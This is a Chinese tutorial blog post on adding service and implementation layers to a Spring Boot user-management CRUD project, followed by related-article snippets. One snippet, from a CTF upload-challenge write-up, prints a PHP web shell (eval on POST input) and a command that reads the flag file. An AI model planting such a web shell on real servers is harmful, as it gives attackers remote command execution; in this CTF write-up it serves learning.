后端SpringBoot学习项目-用户管理-增删改查-service层
仓库地址
在初版代码中,已经实现了基础的增删改查。
但是,逻辑处理都放在Controller层中并没有分为Service层,所以,代码升级时候必须补充上去。
代码结构
升级后的代码结构有所变化。
--common 公共插件
--controller 控制层
--dao 就是原来的mapper层,代码不变
--entity 数据模型层
--service 逻辑处理层--impl 逻辑处理实现层
dao层
即为原来的mapper层。
一个新发现:对于数据的处理逻辑,如果需要执行sql语句,则需要在mapper层创建方法,以便后续调用
package com.example.drhtspringboot.dao;import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import com.example.drhtspringboot.entity.User;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;
/*** 用户表* @author Administrator*/
@Mapper
public interface UserMapper extends BaseMapper<User> {@Select("select * from user where username=#{username}")User getUserInfoList(String username);
}
service层和impl层
由于处理逻辑的方法众多,service层的角色是汇总收集,以便更清楚的显示有多少种方法;而impl层则负责具体的方法的实现
Service层代码
还记得UserController中有多少方法吗?一共有5个:
● getList 根据条件分页获取用户列表
● getListAll 获取所有用户信息
● addUser 添加用户
● delUser 删除用户
● updateUser 更新用户
● getUserById(新增) 根据Id获取用户信息
文件创建
● 创建service文件夹
● 在service文件夹下创建UserService接口
● 在service文件夹下创建impl文件夹
● 在impl文件夹下创建UserImpl类
service代码
代码实现
package com.example.drhtspringboot.service;import com.baomidou.mybatisplus.extension.service.IService;
import com.example.drhtspringboot.entity.User;import java.util.List;public interface UserService extends IService<User> {// 创建用户public void addUser(User user);// 删除用户public void deleteUser(User user);// 更新用户public void updateUser(User user);// 实验方法返回值用public List<User> getUserInfoList();
}
解释说明
● 基础service继承
智能推荐最开始推荐的是BaseService,但是问了后端师父说不对,该是用IService。
● 方法实现
Service和Impl的本质还是在mapper的基础上增加方法,我的理解是有点像前端Js的原型挂载方法(具体不纠结,意思大概是这样),所以有些本身就具有的方法不用实现。
impl层代码
代码实现
package com.example.drhtspringboot.service.impl;import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.example.drhtspringboot.dao.UserMapper;
import com.example.drhtspringboot.entity.User;
import com.example.drhtspringboot.service.UserService;import javax.annotation.Resource;
import java.util.Date;
import java.util.List;public class UserImpl extends ServiceImpl<UserMapper, User> implements UserService {@Resourceprivate UserMapper userMapper;public void addUser(User user) {user.setCreatedAt(new Date());user.setUpdatedAt(new Date());userMapper.insert(user);}public void deleteUser(User user) {userMapper.deleteById(user.getId());}public void updateUser(User user) {user.setUpdatedAt(new Date());userMapper.updateById(user);}@Overridepublic List<User> getUserInfoList() {List<User> userList = userMapper.selectList(new QueryWrapper<>());return userList;}
}
解释说明
- extends ServiceImpl<UserMapper, User> implements UserService
这一句的具体意义没深究,个人理解就是impl类和sevice的一个关联关系表示 - @Resource 注解
也是依赖注入 - @Override 注解
表示这是一个重写方法
重点说明
- queryWrapper对象的传递
在service的本身方法里是可以直接传递qw对象的,但是在impl层实现的方法不能传递qw对象,需要在实现方法内部自行创建 - 方法返回值
没有返回的方法,如创建、更新、删除等,方法的返回值类型用void即可
但是有返回值的方法,如查询列表(getUserInfoList),查询详情,这种方法的返回值类型就必须和内部的数据类型保持一致,
controller
使用service后,controller中的代码也需要修改
@RequestMapping("getList")
public Result<?> getList(Integer page,Integer size,String username,Integer banjiId,Integer gender,Integer role){// 创建Page对象,用于分页查询Page<User> userPage = new Page<>(page,size);// 创建QueryWrapper对象,用于构建查询条件QueryWrapper<User> qw = new QueryWrapper<>();if(StringUtils.isNotBlank(username)) {qw.like("username",username); // 模糊查询用户名}if(banjiId != null) {qw.eq("banjiId",banjiId); // 精确查询性别}if(gender != null) {qw.eq("gender",gender); // 精确查询性别}if(role != null) {qw.eq("role", role); // 精确查询角色}// 执行分页查询Page<User> userPageList = userService.page(userPage,qw);// 判断查询结果是否为空if(userPageList != null) {return Result.success(userPageList); // 查询成功,返回结果} else {return Result.error("500", "查询失败"); // 查询失败,返回错误信息}
}
@RequestMapping("getListAll")
public Result<?> getListAll(){// 使用 QueryWrapper 进行查询,获取用户列表List<User> userList = userService.getUserInfoList();// 查询成功,返回用户列表return Result.success(userList);
}
@PostMapping("addUser")
public Result<?> addUser(@RequestBody User user){userService.addUser(user);return Result.success();
}
@PostMapping("delUser")
public Result<?> deleteUser(@RequestBody User user){userService.deleteUser(user);// 如果删除成功,返回成功结果return Result.success();
}
@PostMapping("updateUser")
public Result<?> updateUser(@RequestBody User user){userService.updateUser(user);// 如果更新成功,返回成功结果return Result.success();
}
相关文章:
后端SpringBoot学习项目-用户管理-增删改查-service层
仓库地址 在初版代码中,已经实现了基础的增删改查。 但是,逻辑处理都放在Controller层中并没有分为Service层,所以,代码升级时候必须补充上去。 代码结构 升级后的代码结构有所变化。 --common 公共插件 --controller…...

机器学习11-学习路径推荐
机器学习11-学习路径推荐 本文希望摒除AI学习商业宣传要素,推荐一条极简的AI学习路线!推荐内容均为在线免费内容,如果有条件可以咨询专业的培训机构! 文章目录 机器学习11-学习路径推荐[toc] 1-AI培训路线第一阶段 Python-人工智能…...

[ACTF2020 新生赛]Upload1
题目 以为是前端验证,试了一下PHP传不上去 可以创建一个1.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中 <script languagephp>eval($_POST[md]);</script><script languagephp>system(cat /flag);&l…...

【PyTorch】0.初识:从吃货角度理解张量
0.初识张量 PyTorch 是一个 Python 深度学习框架,它将数据封装成张量(Tensor)来进行运算。PyTorch 中的张量就是元素为同一种数据类型的多维矩阵。在 PyTorch 中,张量以 "类" 的形式封装起来,对张量的一些运…...

医学图像分析工具09.1:Brainstorm安装教程
1. 安装前准备 **官方安装包和数据:**https://neuroimage.usc.edu/bst/download.php **官方安装教程:**https://neuroimage.usc.edu/brainstorm/Installation Matlab 版本要求: 有 Matlab: R2009b (7.9) 或更高版本没有 Matlab&…...

springboot基于Spring Boot的智慧养老服务系统的设计与实现
系统介绍: 智慧养老服务系统是一种运用现代科技手段,整合各类养老资源,为老年人提供全方位、个性化服务的综合性平台。该系统通过智能化设备、大数据分析、云计算等技术,实现对老年人健康状况、生活需求的实时监控与精准匹配&…...
Linux内核中IPoIB驱动模块的初始化与实现
InfiniBand(IB)是一种高性能的网络互连技术,广泛应用于高性能计算(HPC)和数据中心。为了在InfiniBand网络上运行标准的IP协议栈,Linux内核提供了IP over InfiniBand(IPoIB)驱动模块。IPoIB允许在InfiniBand网络上传输IPv4和IPv6数据包,从而使得现有的IP应用程序能够无…...

WPS计算机二级•幻灯片的基础操作
听说这是目录哦 PPT的正确制作步骤🛣️认识PPT界面布局🏜️PPT基础操作 快捷键🏞️制作PPT时 常用的快捷技巧🏙️快速替换PPT的 文本字体🌃快速替换PPT 指定文本内容🌅能量站😚 PPT的正确制作步…...

.NET9增强OpenAPI规范,不再内置swagger
ASP.NETCore in .NET 9.0 OpenAPI官方文档ASP.NET Core API 应用中的 OpenAPI 支持概述 | Microsoft Learnhttps://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/openapi/overview?viewaspnetcore-9.0https://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/ope…...

基于微信小程序的民宿预订管理系统
作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…...

网络(三) 协议
目录 1. IP协议; 2. 以太网协议; 3. DNS协议, ICMP协议, NAT技术. 1. IP协议: 1.1 介绍: 网际互连协议, 网络层是进行数据真正传输的一层, 进行数据从一个主机传输到另一个主机. 网络层可以将数据主机进行传送, 那么传输层保证数据可靠性, 一起就是TCP/IP协议. 路径选择: 确…...

【深度解析Java 20天速成】04_IDEA的安装与使用
【Why IDEA ?】 【注】JetBrains官方说明: 尽管我们采取了多种措施确保受访者的代表性,但结果可能会略微偏向 JetBrains 产品的用户,因为这些用户更有可能参加调查。 此外,2022年,某美国软件开发商在对近千名专业的Ja…...
gitlab处理空文件夹的提交或空文件夹提交失败
问题描述 厂家发给了我一个压缩包文件,压缩包解压之后本地编译没问题;推送到gitlab之后,再编译就报错了; 问题原因 经过分析之后发现,压缩包解压之后存在很多空文件夹;但是gitlab推送的时候,…...

计算机网络之链路层
本文章目录结构出自于《王道计算机考研 计算机网络_哔哩哔哩_bilibili》 02 数据链路层 在网上看到其他人做了详细的笔记,就不再多余写了,直接参考着学习吧。 1 详解数据链路层-数据链路层的功能【王道计算机网络笔记】_wx63088f6683f8f的技术博客_51C…...
Arduino大师练成手册 -- 读取红外接收数据
硬件连接 连接引脚: 将红外接收器的 VCC 引脚连接到 Arduino 的 5V 引脚。 将红外接收器的 GND 引脚连接到 Arduino 的 GND 引脚。 将红外接收器的 OUT 引脚连接到 Arduino 的数字引脚(例如 D11)。 安装必要的库 在 Arduino IDE 中&#…...

【Efficient AIGC】SiTo: Similarity-based Token Pruning (AAAI-2025)
文章目录 SiTo: Training-Free and Hardware-Friendly Acceleration for Diffusion Models via Similarity-based Token Pruning背景介绍方法结果消融 文章目录 SiTo: Training-Free and Hardware-Friendly Acceleration for Diffusion Models via Similarity-based Token Prun…...

数据标注开源框架 Label Studio
数据标注开源框架 Label Studio Label Studio 是一个开源的、灵活的数据标注平台,旨在帮助开发者和数据科学家轻松创建高质量的训练数据集。它支持多种类型的数据(如文本、图像、音频、视频等)以及复杂的标注任务(如分类、命名实体…...

MyBatis最佳实践:MyBatis 框架的缓存
缓存的概念: 在内存中临时存储数据,速度快,可以减少数据库的访问次数经常需要查询,不经常修改的数据,不是特别重要的数据都适合存储到缓存中 缓存的级别: 一级缓存(默认开启):SqlSession 级别 …...

基于LangGraph、Groq和Tavily打造可以调用外部搜索引擎工具的对话机器人(核心代码 万字详解)
一、python环境 & 相关库版本信息 代码运行在 conda 创建的python环境下,python和相关库的版本信息如下: $ python --version Python 3.12.3$ pip list | grep langchain langchain 0.3.15 langchain-community 0.3.15 lang…...

衡量算法性能的量级标准:算法复杂度
今天开始数据结构的学习!作为一大重点,拿出态度很重要,想要真实掌握,博客笔记自然少不了!重点全部上色!避免疏忽 下面我们从0基础开始学习今天的第一节!不用担心看不懂,拒绝枯燥的理…...

【kafka】Golang实现分布式Masscan任务调度系统
要求: 输出两个程序,一个命令行程序(命令行参数用flag)和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽,然后将消息推送到kafka里面。 服务端程序: 从kafka消费者接收…...
React hook之useRef
React useRef 详解 useRef 是 React 提供的一个 Hook,用于在函数组件中创建可变的引用对象。它在 React 开发中有多种重要用途,下面我将全面详细地介绍它的特性和用法。 基本概念 1. 创建 ref const refContainer useRef(initialValue);initialValu…...
质量体系的重要
质量体系是为确保产品、服务或过程质量满足规定要求,由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面: 🏛️ 一、组织架构与职责 质量体系明确组织内各部门、岗位的职责与权限,形成层级清晰的管理网络…...

《通信之道——从微积分到 5G》读书总结
第1章 绪 论 1.1 这是一本什么样的书 通信技术,说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号(调制) 把信息从信号中抽取出来&am…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据
微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列,以便知晓哪些列包含有价值的数据,…...
绕过 Xcode?使用 Appuploader和主流工具实现 iOS 上架自动化
iOS 应用的发布流程一直是开发链路中最“苹果味”的环节:强依赖 Xcode、必须使用 macOS、各种证书和描述文件配置……对很多跨平台开发者来说,这一套流程并不友好。 特别是当你的项目主要在 Windows 或 Linux 下开发(例如 Flutter、React Na…...

CTF show 数学不及格
拿到题目先查一下壳,看一下信息 发现是一个ELF文件,64位的 用IDA Pro 64 打开这个文件 然后点击F5进行伪代码转换 可以看到有五个if判断,第一个argc ! 5这个判断并没有起太大作用,主要是下面四个if判断 根据题目…...
__VUE_PROD_HYDRATION_MISMATCH_DETAILS__ is not explicitly defined.
这个警告表明您在使用Vue的esm-bundler构建版本时,未明确定义编译时特性标志。以下是详细解释和解决方案: 问题原因: 该标志是Vue 3.4引入的编译时特性标志,用于控制生产环境下SSR水合不匹配错误的详细报告1使用esm-bundler…...